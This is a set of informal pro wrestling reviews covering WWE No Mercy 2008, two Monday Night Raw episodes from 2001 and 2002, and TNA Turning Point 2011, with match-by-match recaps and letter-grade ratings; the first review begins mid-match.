Off to a sleeper instead but Jeff escapes pretty quickly and hits his wrap around clothesline. Legdrop between the legs gets two. Hardy throws Trips into the corner and out to the floor. Now the flip dive works and both guys are down on the floor. Back inside Hardy gets two off a middle rope clothesline. This is starting to get good. Twist of Fate is countered and HHH takes him down with a clothesline of his own for two.

They slug it out and Hardy goes up. I think Jeff was trying a dropkick and I think HHH tried to counter into a spinebuster but it completely missed. Miscommunication, not a botch. Spinebuster with no miscommunication puts Hardy down and it’s Pedigree time. Hardy slingshots him into the post and the Whisper in the Wind gets a VERY close two. Slingshot dropkick to the back sets up the Swanton but HHH moves. Pedigree is countered again into a Twist of Fate and Jeff goes up. Swanton hits perfectly but Hardy lays on top of him, allowing HHH to cradle him for the pin to retain.

Rating: B+. INCREDIBLE ending sequence which had me into it both back in 2008 and now as well. Hardy would keep getting closer and closer to the title until he FINALLY won it (from Edge) in December. HHH and Hardy had some mad chemistry together and this is probably their best example of it. Great match and once it gets going, it never stopped being awesome.

HHH is in the back (without the belt) and runs into Arn Anderson who congratulates him. Oh ok he had the belt in his other hand. He runs into Kozlov and good grief no one cared. They gave the options of HHH vs. Hardy, HHH vs. Kozlov and triple threat at Cyber Sunday and HHH vs. Kozlov got like 3%. The fans just didn’t want to see it and thankfully the company listened for once.

We recap Shawn vs. Jericho. It’s a LONG story but basically, Jericho accused Shawn of faking a knee injury, Shawn said he wasn’t Jericho said he was, Shawn said ok yeah I was, Jericho wanted an apology, Shawn said no, Jericho put Shawn through a monitor and then punched his wife, they had an unsanctioned match which Shawn won, then Jericho snuck in the back door and won the world title in the Scramble match. Jericho gets to defend against Shawn tonight in a ladder match. This feud was AWESOME.

Raw World Title: Shawn Michaels vs. Chris Jericho

Big match intros are out of the way and we’re ready to go. Shawn goes for the arm to start but then says screw this and tries Chin Music. Jericho moves and Shawn charges shoulder first into the post. Out to the floor and Jericho throws Shawn at the ladder but Shawn climbs it quickly and comes off with an even quicker cross body. Jericho throws him into the post shoulder first again and goes for the ladder.

Shawn drop toeholds him though and Chris’ face hits the ladder. There’s a second ladder but Jericho takes Shawn down and hooks the Walls on the floor. For some reason he lets it go and brings the ladder into the ring, but Shawn teeter totters it into his face. Back in Shawn climbs up but Jericho shoves him off and into the top rope. The ladder goes into Shawn’s face and Jericho is bleeding from the lip a bit.

There are two ladders in the ring now. Shawn counters the bulldog and sends Jericho’s leg into the ladder. Shawn lays a ladder across the bottom rope and drops Jericho’s knee onto it before hooking up a Figure Four. After it’s broken, Jericho kicks one end of the ladder into the post so that it bounces back and hits Shawn in the shoulder and then into the face. It might have been to the previously injured eye. Jericho slams a ladder on Shawn’s head in a FREAKING OW MAN moment.

He climbs up but Shawn shoves it well enough to make Jericho stop and kick him away, causing Jericho to fall off and land on his feet. Chris puts a ladder on the top rope in the corner with the top of it pointing into the ring. Shawn throws Jericho onto the ladder and he falls out to the floor. Out to the floor and Shawn sets up the mega ladder. He hits Jericho with the ladder a few times to keep Jericho down and loads up the announce table.

Jericho is placed on the table but gets up and climbs up the ladder after Shawn. He gets in a few shots and tries a belly to back through the table. Shawn shifts his weight and lands on top of Chris, but they’re both dead anyway. Back in the ring and Shawn goes up, looking to ride the ladder down onto Jericho. The champ is ready for him though and dropkicks the ladder into Shawn, crotching him.

Jericho loads up a superplex but Shawn shoves him off. He tries the elbow but Jericho pulls the ladder onto himself so that the elbow hits the steel coming down. FREAKING OW MAN! Shawn tries the superkick but Jericho pulls up a ladder and slams it into Shawn’s head. Jericho puts the ladder on Shawn and hits the Lionsault onto it, which would seem to take a lot more out of Jericho than Shawn.

He puts the ladder on top of Shawn and tries to go up but Shawn kicks the ladder forward, sending Jericho crashing down with NOTHING to catch his fall. He’s holding his knee on the floor while Shawn slowly climbs. Jericho gets back in and shoves the ladder over, sending Shawn into the ropes. They both climb and slug it out but Jericho gets his leg caught in the ladder and is hanging upside down. Cue Cade for the save so Shawn superkicks him down. Jericho is back up and it’s another race. They both grab the belt and it comes unhooked and it’s a tug of war. Jericho headbutts the bad eye to pull down the title to retain.

Rating: A. Yeah it’s great. You knew this was going to be rated very highly coming in. Everyone loves this match and it’s not hard to see why. Both guys are masters at this and they beat each other up very well in the process. As with most great ladder matches, the matches where it’s about the guys and there happen to be ladders involved are much better than the other way around. Great match and a great ending. This would have been a lot better live I think.

Overall Rating: B+. Dang where were these No Mercy’s before? These last three were some AWESOME shows that more than make up for the weaker ones earlier in the series. The last three matches on here are all really good with a nice mix of brawling, wrestling and carnage. 2009 wasn’t nearly as good as it was all about HHH, Cena and Orton which got really boring, but No Mercy was replaced by I think Breaking Point which was a good show too if I remember right. Anyway, very good show here and worth checking out.

It’s time for Backlash and then….and then that’s it. My goodness and then that’s it.

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Monday Night Raw – September 3, 2001: Kurt Angle: American Psycho

Monday Night Raw
Date: September 3, 2001
Location: Air Canada Centre, Toronto, Ontario, Canada
Attendance: 14,890
Commentators: Paul Heyman, Jim Ross

Another week closer to Unforgiven and to the best of my knowledge, nothing has been announced for the show yet. After the last two weeks being horribly uninteresting shows, hopefully things can bounce back a little bit tonight. The problem with the Alliance stuff at this point is they don’t know what to do next with it. The Alliance is here, they’ve won a few matches, WWF has won a few matches…..and then what? That question never seemed to get answered. Let’s get to it.

We open with a recap of last week where Austin stole the medals. On Smackdown he tried to run Angle over and then threw the medals in a river.

Undertaker vs. Test

They fight over who is stronger to start and Taker uses….my goodness he uses a hip toss and an armdrag. Now it’s an STF, which might be better than Cena’s. Test comes back with a clothesline and some elbows to the face. Side slam gets two as does a middle rope jumping back elbow. Test hooks a Russian legsweep but Taker comes back with a rolling leg lock which is quickly broken up. The fans chant for the Leafs as Taker hits a clothesline. He loads up the Last Ride but Steven Richards of all people runs in for the DQ.

Rating: C-. Not horrible here as it was nice to see Undertaker actually let someone else get in some offense for a change. The ending kind of sucked but I think it was to allow Richards to bring in Kronik to fight Kane/Undertaker. The stuff from Undertaker was pretty nice for a change, especially the armdrags and STF about five years before he became the MMA Cowboy of Death.

Test kicks Undertaker’s head off post match.

Christian says he’s looking forward to winning the title tonight. He’s talking to an usher or something like that when fans come up and say they’ve got front row seats. They’re happy to see Edge’s brother. Christian tells the usher to make sure they’re put in the nosebleed seats so they don’t mess up the pictures when he wins the WCW Title.

Richards says that he jumped Undertaker because Undertaker played a big role in disbanding the RTC. He wants a match with Undertaker on Smackdown.

Clips from the Wrestlemania press conference where the announcement was made that it’s coming to Toronto.

Regal is talking to Tajiri and tells him if he finds a partner tonight, he can have a #1 contenders match vs. the Dudleys. Big Show comes in and speaks Japanese, apparently because he’s Tajiri’s partner.

Austin and Debra get here and the Alliance is waiting for Austin with an ovation. They have a surprise for Austin later because they’re inspired by him throwing Angle’s medals in the river last week.

Dudley Boys vs. Tajiri/Big Show

This is for the #1 contendership for one of the sets of tag titles. Show runs them both over to start and it’s off to Tajiri to face D-Von. Tarantula gets a big pop. Bubba cheats and uses a hot shot on Tajiri to give the EVIL ones the advantage. Torrie comes down and gets in Tajiri/Show’s corner as Bubba drops elbows. Apparently this is for the shot at both sets of titles. Ok then. Tajiri kicks Bubba’s head off and it’s hot tag to Big Show. He cleans house but Tajiri accidentally shoots mist at him, allowing the 3D to pin Tajiri.

Rating: D. What was the point of this again? Was there no team that they could have thrown at the Dudleys to set this up? Sadly enough there isn’t because the division was on the verge of death at this point. Not much to see here but I’m sure the Torrie and Tajiri stuff is starting up soon.

Show runs over Torrie because he’s blind so he carries her off. The Dudleys put Tajiri through the table to a big pop. Show comes back out to make the save, despite Tajiri being dead for the most part.

Shane and Booker offer to help Christian win the title in exchange for the first shot. Christian seems cool with this.

The US Champion Kanyon (I had to remind myself since he never defends the thing) at WWF New York loves Austin and sounds like the Cowardly Lion.

Stephanie comes in to see Austin and Debra to tell them that the surprise is getting closer. Austin thinks Debra is scared that Kurt Angle might be coming. Stephanie assures her there’s no chance Angle will be here tonight. Debra gets him a beer and it fizzes a bit. Uh…ok?

Shawn Stasiak vs. Spike Dudley

Stasiak pounds him in the corner and powerslams him in front of a quiet crowd. Gorilla press gets almost no reaction and the beating continues. Spike gets tripped by Stacy which means nothing as Stasiak charges into a boot in the corner and the Dudley Dog gets the pin.

Molly beats up Stacy post match.

Christian gives Edge the KOTR trophy back and apologizes for being a jerk lately. He wants to win the title on his own tonight too.

Moppy has been kidnapped and Saturn has been given a ransom note asking for $100,000. He asks Hurricane for help and using some very questionable logic, Hurricane concludes that it’s Matt Hardy’s doing.

WCW World Title: Christian vs. The Rock

Shane is guest timekeeper and Booker is guest ring announcer. After Booker introduces himself and Shane, we’re ready to go. Booker distracts Rock and Christian jumps him to start. Shane gets in some shots on the floor and Rock is in trouble due to the numbers game. Rock gets it to one on one and hammers away but Christian kicks him right back down. Out to the floor again and Booker drops Rock on the belt on the table chest first.

Now Christian sends Rock into the table as Canada Power is in control. The reverse DDT onto the knee gets two. After a quick run on the floor Rock hits the Samoan Drop to put both guys down. Shane distracts the referee and Booker slides in the belt to Christian. Rock fights back and hits the belly to belly and a DDT for two. Spinebuster sets up the Sharpshooter but Shane interferes again. Rock drills him but Booker clotheslines him on the top and a reverse DDT gets a VERY close two. Rock throws Christian into Booker and the Rock Bottom retains the title.

Rating: C+. I liked this more than the Rhyno match last week but it was basically the same idea. Rock running through the WCW midcard is fine as they offer quick challenges to him without wasting something big like Booker vs. Rock. It’s clear that match or something similar is happening at Unforgiven, but naturally that’s not important enough to announce yet.

Rock tells Booker to just bring it and it’s on, but Shane jumps Rock and the beatdown commences. The APA makes the save.

Stephanie and Debra go into schoolgirl mode because the surprise is here.

Stephanie comes to the ring to make fun of Canada and their grammar issues. Also why would Canadians celebrate Thanksgiving? Is it because they want to be more like Americans? This comes off like a bad standup comedy bit. They shouldn’t celebrate Labor Day (today) either because they don’t do anything. Speaking of hard work, Stephanie brings out the hardest working man she knows: Austin.

The surprise is a new truck. Debra runs down all the features which takes WAY too long. One of them is the paint job. It’s black. That’s not exactly a feature. It also has a radio and mirrors. She’s really not that good at this. It has power steering and power brakes. Debra is talking about the words written on the tires. Just get to Angle destroying the thing already because you know that’s what this is building to. Debra invites Austin to come see the truck because she wants a ride.

Austin goes to the back and looks at the truck, including the leather which he really likes for some reason. He gets in the back of the truck and says he’s King of the World. FINALLY Kurt comes out of the back and hits Austin with a pipe, chains him up to something in the truck bed and speeds away in the truck.

Matt Hardy/Lita vs. Ivory/Hurricane

The guys start things off and Matt is so fired up that he gets put in position for a superplex. The fans chant for Hurricane as Ivory raises the roof. Men vs. women is cool here. Off to Lita who hits her headscissors but walks into a facejam for two. Off to the men and Matt can’t fire the crowd up at all. Ivory gets speared down but Saturn comes down to break up the middle rope legdrop. Eye of the Hurricane gets the quick pin. This was worthless.

Saturn beats up Hurricane post match.

Storm comes up to Christian and makes fun of him for losing. He makes fun of Toronto and Edge makes fun of Storm for various issues.

Debra does the first logical thing in the history of wrestling kidnappings and CALLS THE POLICE. The Alliance has a TV in their locker room and the truck pops up on it. Where is this feed supposed to be coming from? Austin is also blindfolded despite not being so when they left. Angle rants about the stolen medals and says this inspired him. Angle takes him to the edge of the bridge they’re on and Austin apologizes for throwing the medals away. Kurt lifts him onto the edge but doesn’t throw him. He says we need a higher bridge and it’s back to the driving.

Intercontinental Title: Lance Storm vs. Edge

Huge pop for Edge of course. Storm jumps him during his posing but Edge is ready for him. Storm comes back with an enziguri to send Edge to the floor. Springboard clothesline back inside gets two. Edge gets beaten on for a bit but comes back with clotheslines and a spinwheel kick. Edge-O-Matic gets two. Superkick and Edgecution are blocked and there’s the Maple Leaf. Edge finally makes the rope and Storm stays on the knee, but gets rolled up for Edge to retain.

Rating: C. This wasn’t bad at all. Canadians are good at having wrestling matches and this was no exception. To be fair Storm was trained by Stu so did you expect anything but quality? I like both of these guys though so that probably has something to do with it. Granted this was just a way to set up what comes next.

Christian comes out with a chair for the save and cracks Edge with it to turn heel. He adds a one man Conchairto, which I think is the debut of that move. Those were some great chair shots.

Rob Van Dam/Rhyno vs. Jeff Hardy/Chris Jericho

This is Jeff’s return after destroying himself and a table in a ladder match with RVD from two weeks ago on Smackdown. Rob and Chris start things off and a jumping enziguri puts Van Dam down and it’s off to Jeff. The fans chant at Hebner so the match doesn’t get much attention. Jeff pulls Rob off the top and does the legdrop between Rob’s legs. Rhyno and Chris fight so the Swanton gets no count. It also hurts Jeff’s ribs which is the call of the Rhyno who works the injury over.

The fans chant ECW as a belly to belly suplex looks to set up the Gore. Jeff moves and it’s hot tag to Jericho. Rhyno is sent to the floor and Rob counters the Walls. Chris dropkicks Rhyno off the apron and Rob knocks Jericho down and hits a standing moonsault. He tries a German suplex but Jericho rolls through for the pin, just like Edge did in the last match.

Rating: C-. This was more or less a shortened version of last week’s main event which wasn’t all that good. That being said, the only way to fit this massive roster on TV every week is with a tag team main event so there isn’t much of a shock there. Jericho and Van Dam faced each other at the PPV I believe in what was probably one of the best matches of the night.

Back to the American Kidnapping Hero who has found a higher bridge. Austin begs for a bit and Angle continues to be psycho. Angle says he’s going to make Austin think about it, which means we’ve got bills to pay so let’s take a break.

Back with Debra crying in the ring for Austin’s life. This is really bad stuff. Back to Angle and Austin with Austin showing those acting skills as he begs. The payoff for this is Angle demands a rematch at Unforgiven which he gets, and then shoves Austin into a kids’ swimming pool and steals the truck. Yeah seriously, that’s it. Quick question: WHERE DID HE HAVE THE POOL? Did he leave it on a bridge in Toronto for the last hour and no one moved it? That’s a stretch even for a wrestling storyline.

Overall Rating: C-. Well it was a little better but that’s still not saying much. The Christian turn was good and we FINALLY set up a match for Unforgiven, but at the same time it’s still not an interesting show given what they have to work with. That sums up the Alliance in a nutshell: they had everything and gave us nothing of note.

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Monday Night Raw – July 1, 2002 – Worst Ladder Match Ever

Monday Night Raw
Date: July 1, 2002
Location: Verizon Wireless Arena, Manchester, New Hampshire
Commentators; Jim Ross, Jerry Lawler

Back to something other than TNA for a nice change of pace. This is a request and it’s probably due to just the main event. This is the show where somehow midcarder Jeff Hardy is getting a world title shot in a ladder match against the Undertaker. Other than that, this is a very generic looking card. Let’s get to it.

We open with a recap of last week where Vince talked about Ruthless Aggression. Vince wanted to know who had it, and that man would be the new King of the Ring: Brock Lesnar. Van Dam, the guy that Brock beat in the finals, disrupted the coronation and beat Lesnar up. Kind of. They had a rematch later that night for the IC Title which RVD had won with the Five Star but Heyman caused a DQ. Brock powerbombed him through a table to end the show.

I forgot how much I liked Across The Nation as a theme song.

Here are Heyman and Lesnar to open the show. Paul says this will be the summer of Lesnar, not the summer of RVD. Heyman talks about how Lesnar has intelligence and is inspired by Kurt Angle. Angle issued a challenge to any rookie to debut against Angle (some guy named Cena debuted). Heyman says Brock is issuing a challenge to anyone.

Brock Lesnar vs. Ric Flair

Not bad for an opener. They do also cover themselves here by saying that this open contract was issued at 1pm this afternoon so it’s not completely illogical to have Flair ready to go. Flair yells at I think Heyman about interfering in a match that cost Flair control of Raw. Lesnar says Flair is in the wrong place with the wrong guy in the wrong year. Flair gets run over to start but manages a chop to slow him down.

More chops and Flair tries to get Brock to chase him. Knee drop gets two for Ric but he gets launched over the referee with ease. Brock takes over and there’s the Flair Flop in the corner. Lesnar works on the back and they go to the floor for a little bit. He goes shoulder first into the post back in the ring and Flair has an opening. Flair chops away but runs into a bearhug. A pretty weak spinebuster (no snap or pop at all. Maybe some crackle though) takes Flair down but he hits a low blow. Figure Four goes on but here’s Heyman for the distraction. Flair goes for him and walks into an F5 for the pin.

Rating: D. Apparently the bad booking of monsters isn’t a new thing. Lesnar is supposed to be an animal, yet it took Heyman to save him from Ric Flair? Yes, Flair is a veteran but that doesn’t mean Lesnar shouldn’t kill him. Would you see a 53 year old boxer destroying a 25 year old phenom? I didn’t think so. Not a fan of this at all. The veteran will possibly have better technique and be more polished, but at the end of the day he isn’t going to be able to take a right cross to the chin.

Coach hits on Jackie Gayda in a creepy way, talking about the Divas Undressed competition. Jackie gets annoyed with him, blaming her last tag team loss on Molly. Molly comes up and says Jackie should follow a role model. They brawl into the arena and Molly tries to kill her with a pipe. Time for a match no one is interested in!

Molly Holly vs. Jackie Gayda

Molly hits a missile dropkick and beats Jackie into the ground. I don’t think this is an actual match. There was no bell or referee or pin. Trish comes out to save Jackie and takes Molly’s pants off. I clearly get the point in this. Don’t you?

Christopher Nowitski has challenged Bradshaw to a match that isn’t for JBL’s Hardcore Title.

Christopher Nowitski vs. Bradshaw

King has Chris’ Harvard ring. JBL kicks his head off to start and it’s a beating. Jibbles goes for weapons but it’s not hardcore. In the confusion, Chris hits Bradshaw with a cowbell and pins him. This didn’t even last a minute.

Regal is watching on a monitor in what is apparently Heyman and Lesnar’s dressing room. RVD arrives limping and wants to know where Brock and Paul are. Regal says be on time next time and they’ll have a match later apparently.

Jeff is in the back and is offended to hear he’s the underdog tonight. He has to climb a ladder and he runs around in the back climbing various things. We really should have seen the signs back then.

Booker and Goldust are in the back and Goldust is dressed as Darth Vader for no apparent reason. Booker doesn’t like Star Wars but apparently he likes handling a Lightsaber. “Obi-Book-Kenobi.” WHAT AM I WATCHING???

Vince gives the fairly newly back Eddie a pep talk before he teams up with Benoit later. Vince asks what the translation is for Ruthless Aggression in Spanish. “Eddie Guerrero holmes!” Benoit is in his first match back in like a year after his neck injury.

Rob Van Dam vs. William Regal

Van Dam is IC Champion and Regal is European Champion but this is non-title. Regal takes him to the match very quickly and counters the stepover kick. Out to the floor after a suplex and a Knee Trembler gets two back in the ring. Regal keeps it on the mat and hooks a crossface minus the arm trap. Rob manages to grab a monkey flip and hammers away in various corners. Spinning cross body gets two as does Rolling Thunder. Butterfly suplex is countered and the Five Star ends this.

Rating: C-. Eh not bad and definitely the best of the night. They were starting to push Van Dam at this point and he got some world title shots later in the year, but then the company decided to go with Shawn as champion and then HHH forever instead of Van Dam. RVD got the title in like 4 years, but then proved that he couldn’t handle it so that’s all well and good.

Van Dam calls out Lesnar but gets Heyman instead. Heyman says we’ll do it at Vengeance. Ok then.

Bubba Ray Dudley/Spike Dudley vs. Eddie Guerrero/Chris Benoit

This was set up last year with Benoit returning and putting a wicked Crossface on Bubba. Eddie vs. Spike gets us going and Eddie controls as he should. Bubba comes in and hammers on Guerrero, only to walk into a dropkick. Eddie does a fairly unnecessary roll but it brings in Benoit. Benoit goes all psycho with the chops in the corner and Bubba is in trouble.

Bubba hits a sidewalk slam for two but the Canadian hits a German on the American to take over again. I love watching people throw German suplexes. Bubba gets a neckbreaker and it’s off to Spike. Spike grabs a rolling cradle for two. He tries another but Benoit grabs a Crossface to draw in Bubba. The heels make an illegal switch and Eddie pounds on Spike for a bit. Spike goes into the post but there’s heel miscommunication and the Dudley Dog.

Both guys are down and there’s the hot tag to Bubba. They were pushing him as kind of an upper midcard guy around this time, possibly as a world title challenger when HHH got the Raw title. Believe that playa. Sorry I had to do it. What’s Up to Eddie and Bubba orders a table. There’s one set up on the floor but Benoit pops Spike. Eddie hits a nice springboard rana to take Bubba out but the Frog Splash misses. Bubba Bomb ends Eddie.

Rating: C+. Not exactly the ending I was expecting but it was a good tag match which is what this show needed. The Dudleys were still an odd pairing as while Spike is indeed a Dudley, he’s not the Dudley that you think of as part of the Dudley Boys. Also, kind of an odd return for Benoit wouldn’t you think?

Spike goes through the table and Benoit hooks a Crossface on Bubba for a good while.

Rey Mysterio is coming. The music almost sounds like it’s from Halloween.

DarthDust comes up to Big Show and it’s just weird. Goldust says he’s Show’s father and breaks a plastic sword over his head. Goldie goes to leave but walks into Nash who kills him. It was NWO time if I didn’t mention this.

Video on Hardy’s history in ladder matches.

Taker says he’s going after Angle and then Rock. He’s not worried about Hardy at all.

Show finds X-Pac unconscious in the back. Make your own jokes.

Booker T vs. Big Show

This was supposed to be a tag match but take what you can get. Booker had been kicked out of the NWO and was on a revenge tour…kind of. The NWO would be gone in two weeks anyway so it doesn’t really matter. The mashup of Show’s music with the NWO theme doesn’t work at all. Show and his one piece women’s swimsuit of doom takes over quickly on Booker with the size and power game.

There’s a suplex for two. This was a period for Big Show where he was getting way too big and way too slow and it hurt his game really badly. Bearhug now and Booker is in trouble. Sidewalk slam gets two. They go to the floor and Show keeps up the dominance. Show gets the steps but they get kicked into his face. We’ll ignore the laws of physics that would suggest that it’s IMPOSSIBLE for the steps to hit him in the face from that angle but whatever. Booker wins by countout.

Rating: F+. This was nothing and the ending sucked. Booker got in one move other than the kick to knock the steps into Show’s face. Other than the tag match, all of these matches have just sucked, mainly due to them being short. The NWO never worked in the WWF but they kept shoving them down our throats until WWE woke up and stopped it in a few weeks.

Nash and Michaels, also in the NWO, punch Big Show. Make that just Nash actually. Michaels says they’re after Booker, not each other. Shawn says the NWO is a family and they’ll be a more complete family when the injured member returns. That would be HHH and he never would join. After a LONG speech, he kicks Show in the face and they leave.

Vince tells Taker how awesome he is. Taker vs. Rock is announced for Vengeance.

Matt wishes Jeff good luck and Lita pops in in a neckbrace to wish him good luck too. Jeff nearly destroys the door and screams a lot as he leaves. We really should have seen the signs coming.

Undisputed WWE Championship: Jeff Hardy vs. Undertaker

So the idea here is that Jeff has been destroyed by Taker every time they’ve fought but Taker has never been in a ladder match so Jeff should have a chance. Taker goes for the ladder but gets it kicked into his face. Jeff gets a chair shot in but Taker catches the ladder shot from Jeff. They haven’t been in the ring together yet. Taker hammers on Jeff for awhile but gets sent into a ladder to slow things down.

Jeff launches himself at the ladder with Taker under it, probably hurting himself even worse. They get into the ring and Jeff is down again. Taker gets a big shot with the ladder to knock Jeff into the table. He has the match won but instead Taker climbs down and pounds on Jeff even more. This is SO slow. Jeff tries to fire in some shots and goes off on Taker but a single punch slows him down.

Taker hits a running clothesline in the corner. This is the least interesting ladder match I’ve ever seen. Taker misses a charge in the corner and slams into the ladder….but is back on offense about 4 seconds later. Whisper in the Wind takes Taker down but the champ is back up and hitting a big boot before Jeff gets in another shot. A low blow puts Taker down as does a flip dive to the floor.

Jeff gets the big ladder but Taker stops him with a Last Ride attempt. The WORST RANA EVER sends Taker to the floor as a counter and Jeff climbs. He touches the gold but Taker makes the save. Taker goes for the Last Ride again but Jeff cracks him with a chair twice and climbs very slowly. And never mind as Undertaker cracks him with the chair and “chokeslams” (more like choke-shoves) him off to retain.

Rating: D. I remember this a lot more fondly than it was here. The ending is good and is some decent drama, but the rest of it is just SO slow and uninteresting. Jeff never had a chance but Taker did nothing but punch the rest of the time and that doesn’t make for an interesting match at all. Very weak match but a good ending.

Jeff gets back up so Taker goes back in and hits a Last Ride. Taker rides off but Jeff gets the mic and says he’s still standing. Taker comes back to hit him but stops and raises Jeff’s hand, supposedly turning face in the process. I don’t remember that coming for a few more weeks but allegedly it was here.

Overall Rating: C-. Well the second hour was much better but the first one was just horrible. The problem here is that it felt like a throwaway show but they didn’t want it to be if that made sense. It set up some stuff for Vengeance but not a lot happened here. Oh and Thursday is the show where Angle made the Undisputed Title disputed, which I’ve already reviewed actually.

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EOTY Awards – News Story of the Year

This one should be a bit arguable.I’m going to go with the downward spirals of the Hardy Boys.  Jeff went from being a heel (seriously, WHO THOUGHT THAT WOULD BE A GOOD IDEA???) to Victory Road and Matt made him look like a pillar of stability by comparison.  These two were at one point considered the future and now they’re running jokes.  And Jeff will be world champion by Mania.

 

Your picks/thoughts?



Turning Point 2011 – Someone Give AJ Styles A Raise

Turning Point 2011
Date: November 13, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

It’s time for Turning Point and to be honest, I had to look up the card to remember anything more than about two matches. The title match is slapped on because they’ve burned through their big PPV main event level matches for the sake of a TV rating that came and went. Other than that we have a lot of matches that don’t mean a lot and two that were added since Impact to flesh out the card a little bit. Let’s get to it.

The opening video is a bit different, probably because they have no idea what the point of this show is. It’s about….Richard Nixon and Bobby Roode? Whatever.

TV Title: Robbie E vs. Eric Young

Apparently losing to a reality TV star after losing your previous title shot means you get another one on PPV. There’s the locking up with the referee and the victory lap from Young before anything happens. They speed things up to start and Young sends him to the floor. They do some basic fast paced stuff and nothing is really worth writing down. Robbie hooks a chinlock and then a second one a few moments later.Nice way to fire up a crowd to open a PPV guys.

Orlando is fired up for this. I guess they were jealous from not having their show for a few weeks. Young gets up and hits a Stunner to escape and both guys are a bit dazed. Eric starts Hulking Up and takes his pants off, revealing GTW trunks. What is the appeal of this guy? I’d assume it’s that he’s not interesting or talented enough to be anything but comedy relief but I’ll be nice and assume otherwise.

Eric fights back with a forearm, dropkick and belly to belly for two. There’s a top rope elbow and he’s no Shawn Michaels. The other Rob saves the other Robbie and Eric strips again. Get this over with already. Eric dives to the floor to take them both out but Rob gets in an extra shot, allowing Robbie E to get the pin and the title at about 7:00.

Rating: D+. The only thing that matters here is that Eric Freaking Young isn’t champion anymore. This was one of those comedy matches that wasn’t funny and is there to say they had another title match. TNA fanboys like to complain about WWE being for kids, but a Jersey Shore guy just beat a guy who stripped to two pairs of underwear to win their equivalent of the Intercontinental Title. Think about that for a minute.

Video on Mexican America vs. Ink Inc.

AJ and Roode are here.

Tag Titles: Mexican America vs. Ink Inc.

Ok so it’s a six person tag with Sarita and Toxxine or whatever her name is in as well. This was about a beating that injured Neal from like 6 months ago which is being mentioned now because we’ve had too much to talk about since then. Anarquia vs. Moore gets us going but it’s off to Neal quickly. Jesse and Hernandez get in each others’ faces and yell at each other a lot as the fans chant USA. I’m assuming it’s for Ink Inc, but the Mexicans are Americans so who knows?

The big showdown goes nowhere and it’s back to Moore who gets caught by the power game for a bit. Ink Inc speeds things up and it’s off to Anarquia. Boring stuff so far and we have a Pork sign in the front row. Tazz praises Sarita for jumping up and down on the apron like he’s a 12 year old trying to sound mature. Off to Neal who gets caught by a slingshot shoulder by Hernandez.

Mexican America takes over on Neal as I’m trying to imagine Ricky Morton with that kind of hair. It really isn’t working. Off to a chinlock by Anarquia for a bit of rest. Some SuperMex power double teaming doesn’t work as Anarquia misses his assisted dive. Neal tags in the chick and it’s Toxxine vs. Sarita. The tattoed chick dominates until Hernandez makes the save and things break down.

We get to the comedy of the match as Toxxine and Neal pulls Anarquia’s pants down to show the involuntary tattoo back there. And then Sarita hits Toxxine in the back with the belt for the pin at 8:34. You know, because they haven’t made the titles even more worthless already. Didn’t they have something to do with Hulk for like fifteen minutes?

Rating: D+. Whatever here as this is what we waited for since June or however long its been? The match wasn’t anything good and the girls added nothing to it at all. Oh and the forced tattoo thing was pointless too as well as not funny. They couldn’t get five minutes to build this on Impact either? I don’t think it would have helped but the thought would have been nice.

Aries and Kash are in league to take care of Sorensen tonight. My mind wanders as Kash talks but I think he mentioned cutting Sorensen with his knife. Aries has a cape and stays behind to get more face time. His words, not mine.

X-Division Title: Jesse Sorensen vs. Austin Aries vs. Kid Kash

Aries leaves Kash to fight Sorensen on his own to start. Sorensen gets beaten down quickly as things start fast. They’re playing up the whole 2-1 idea here as Sorensen gets rid of one but has the other waiting on him. Sorensen is like screw it and hits a huge dive to take them both out, getting two on Aries. Kash gets Sorensen down and tries to steal the title but Aries makes the save.

Kash hits a low blow now but Aries reminds him of the plan. Sorensen sends Kash to the floor via a nice dropkick (every rookie knows how to do that move very well anymore) but his cross body only gets two on Aries as Kash is back in. We get a slick double team move as Kash hooks a surfboard and Aries kicks away. They take turns chopping Sorensen and this is looking bleak.

Sorensen grabs a backdrop to send Kash to the floor out of nowhere but he’s still outnumbered. I mean, he is fighting A Double after all. Kash pulls him to the floor so Aries can hit the awesome dive for two back in the ring as now it’s Kash that doesn’t want to lose. The heels argue a bit but beat on Sorensen a bit more. Aries goes up and does an Eddie Guerrero imitation (he passed away six years ago today) but lands on the knees. Wouldn’t that hut really badly?

Kash was up top and misses his old fat man moonsault. Sorensen makes his comeback and gets two on Aries with a neckbreaker. Kash keeps making the save as I guess he needs the exercise at his age. Sorensen makes the heels hit each other with clotheslines and goes up. Kash gets up and hooks a superplex and then the Moneymaker (double underhook piledriver) to kill Sorensen dead but Aries steals the pin at about 13:00.

Rating: B. I enjoyed this a lot as the psychology was there as it almost always is in three ways. I liked this one a lot as Sorensen couldn’t catch a break which is the whole idea of something like this. Fun match and the dive by Austin is always cool to see. Good match and I think Aries retaining is the right idea here.

AJ says tonight is about revenge and he’ll take the title tonight to get rid of Roode once and for all. Solid angry promo here.

Christopher Daniels vs. Rob Van Dam

This is no DQ. Why? No particular reason, but gimmicks make matches better right Russo? Daniels asks how we got to this stipulation so fast and says he’s not a hardcore wrestler. Instead, let’s make this a regular wrestling match. The fans boo what they had already come in expecting to see and RVD eventually shakes hands. Daniels pulls him in because every face has to be an idiot.

They go to the mat quickly and Daniels is sent running. Back in and there’s the monkey flip to put Daniels in trouble. Why is it so rare to see Daniels in something not involving AJ? A kick puts Daniels down but he’s an old X-Division guy so he doesn’t sell anything. Off to a chinlock by Daniels but RVD escapes and hits a quick Rolling Thunder for no cover. A slingshot legdrop has Daniels in trouble but he takes over again quickly.

Daniels hooks a neck crank as this match is slowing down a lot. That’s not exactly a bad thing but it’s noticeable. Death Valley Driver gets two for Daniels. A running forearm in the corner puts Van Dam down. They slug it out and RVD puts him down with a clothesline. The springboard kick puts him down too and Daniels sends him to the floor because he was down 6 seconds.

A top rope kick puts Daniels on the floor and he tries to run. Van Dam rams him into the barricade and then hits a running legdrop to Daniels’ back as he’s draped over said barricade. The fans aren’t as into this as you would expect. Back inside and Daniels throws the referee into RVD and drops him with an STO. There’s a chair to Van Dam’s ribs and a takedown onto the chair for two. Here comes the toolbox and then the screwdriver but Van Dam gets the chair for the Van Daminator. Tazz: “Been there, felt that, it sucks.” Five Star ends this at 11:13.

Rating: C. Not bad here but the rules and stipulations were kind of a weird deal. It’s very nice to see Daniels doing something other than fighting AJ. I really don’t get the point in having RVD going over here as they had built Daniels up pretty well lately and they have RVD, the guy with the least amount of direction this side of Kofi Kingston, get a win over him on PPV?

The Robs celebrate and Robbie says he’s a TV star who will be around for a long time to come. They’re going to the club.

